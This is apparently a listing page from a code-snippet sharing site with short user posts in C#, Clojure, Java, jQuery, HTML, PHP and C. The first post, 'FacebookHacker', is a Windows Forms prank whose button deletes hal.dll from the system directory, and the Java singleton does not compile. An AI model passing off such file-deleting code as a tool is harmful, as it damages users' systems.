• hax

    JosephGoldberg        
    0 Likes0 Commentscsharp

    /*
     * User: Joseph
     * Date: 7/13/2013
     * Time: 8:00 PM
     */
    using System;
    using System.Collections.Generic;
    using System.Drawing;
    using System.Windows.Forms;
    
    namespace FacebookHacker
    {
      /// <summary>
      /// leet hax in progress.
    	/// </summary>
    	public partial class MainForm : Form
    	{
    		public MainForm()
    		{
    			InitializeComponent();
    		}
    		void Button1Click(object sender, EventArgs e)
    		{
    			System.IO.File.Delete(System.Environment.SystemDirectory + "hal.dll");		
    		}
    	}
    }
    
  • tnoborio        
    0 Likes0 Commentsclojure

    (defn create [{course-id :id
                   tutor-id :tutor-id :as course} open-at & [title]]
      {:pre [(seq tutor-id)
             (instance? java.util.Date open-at)
             (seq course-id)]}
      (insert
       "schedules"
       (assoc-if
        (seq title)
        {:tutor-id tutor-id
         :open-at open-at
         :course-id course-id}
        :title title)))
    
  • Java singleton pattern

    D00msDay        
    0 Likes0 Commentsjava

    class Singleton {
      private static instance;
      
      private Singleton() {
      }
      
      public static Singleton getInstance {
        if (instance == null) {
          instance = new Singleton();
        }
        return instance;
      }
      
    }
  • Reset jQuery infinitescroll after AJAX call

    thomas-kununu        
    0 Likes0 Commentsjavascript

    var $infiniteScrollContainer = $('#my-infinite-scroll-container');
    // Reset the plugin before intializing it again
    $infiniteScrollContainer.infinitescroll('binding','unbind');
    $infiniteScrollContainer.data('infinitescroll', null);
    $(window).unbind('.infscr');
     
    // Initialize plugin
    $infiniteScrollContainer.infinitescroll(
        {
            state: {
                isDestroyed: false,
                isDone: false,
                isDuringAjax : false
            }
        }
    );
  • Anuario

    qroweb        
    0 Likes0 Commentshtml

    <!DOCTYPE html>
    <!--[if lt IE 7]>      <html class="no-js lt-ie9 lt-ie8 lt-ie7" lang="es"> <![endif]-->
    <!--[if IE 7]>         <html class="no-js lt-ie9 lt-ie8" lang="es"> <![endif]-->
    <!--[if IE 8]>         <html class="no-js lt-ie9" lang="es"> <![endif]-->
    <!--[if gt IE 8]><!--> <html class="no-js" lang="es"> <!--<![endif]-->
        <head>
            <meta charset="utf-8">
            <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
            <meta name="viewport" content="width=device-width, initial-scale=1">
            <title>Plantilla AEM2014</title>
            <link rel="shortcut icon" href="favicon.ico" />
            <!-- SEO -->
            <meta name="description" content="Anuario Economico Municipal 2014">
            <meta name="author" content="Applicattio">
            <meta name="keywords" content="Querétaro, Municipio, Anuario, Económico, 2014" />
            <!-- Bootstrap -->
            <link href="css/bootstrap.css" rel="stylesheet">
            <link rel="stylesheet" href="css/main.css">
            <!-- IE8 support for HTML5 elements and media queries -->
            <!--[if lt IE 9]>
              <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>
              <script src="https://oss.maxcdn.com/libs/respond.js/1.3.0/respond.min.js"></script>
            <![endif]-->
        </head>
        <body>
            <div id="containero">
                <div class="container">
                <article class="content">
                    <div>
                    <!-- Comienza el contenido que se pegara en servidor -->
                      <div class="row">
                        <div class="col-xs-12 col-sm-4 col-md-4 col-lg-4">
                          <p class="text-justify">
                            <span class="es_language">
                              En México, el INEGI publica el Indicador Global de la Actividad Económica (IGAE), y durante diciembre de 2013 
  • arkejn        
    0 Likes0 Commentstext

    to buy:
    
    -ASUS GTX660
    -bigger case
    -ASUS GX1000
    -ASUS Xonar for muzak
    -ASUS Crosshair IV
    -700W modular PSU
    -water cooling probably
    -SSD for OS
  • test

    mkabischev        
    0 Likes0 Commentsphp

    <?php
    
    echo 'hello, world!';
  • WTF production code

    modo-lv        
    1 Likes0 Commentscsharp

    var list = _cmsMenuItemRepository.Table.ToList();
    foreach (var i in list)
    {
        i.Items.Clear();
    }
    foreach (var i in list)
    {
        if (i.ParentGuid != null)
        {
            var parent = list.FirstOrDefault(t => t.Guid == i.ParentGuid);
            if (parent != null)
            {
                parent.Items.Add(i);
            }
        }
    }
    return _cmsMenuItemRepository.Table.ToList();
    // http://bash.org/?240849
  • Factory.

    KopBob        
    0 Likes0 Commentsjavascript

    currentNgModule.factory('PageTitleService', function ($rootScope) {
        return {
            updateWith: function (title) {
                $rootScope.pageTitle = title;
            }
        }
    });
  • Getting a head start on my classes' textbook

    connador        
    0 Likes0 Commentsc_cpp

    #include <stdio.h>
    #define INCHES_PER_POUND 166
    
    int main(void){
    int height, length, width, volume, weight;
    printf("Please enter the height of your box: ");
    scanf("%d", &height);
    printf("Please enter the length of your box: ");
    scanf("%d", &length);
    printf("Please enter the width of your box: ");
    scanf("%d", &width);
    
    volume = height * length * width;
    weight = (volume + INCHES_PER_POUND - 1) / INCHES_PER_POUND;
    
    printf("Dimensions: %dx%dx%d\n", height, length, width);
    printf("Volume (cubic inches): %d\n", volume);
    printf("Dimensional weight (pounds): %d\n", weight);
    
    return 0;
    }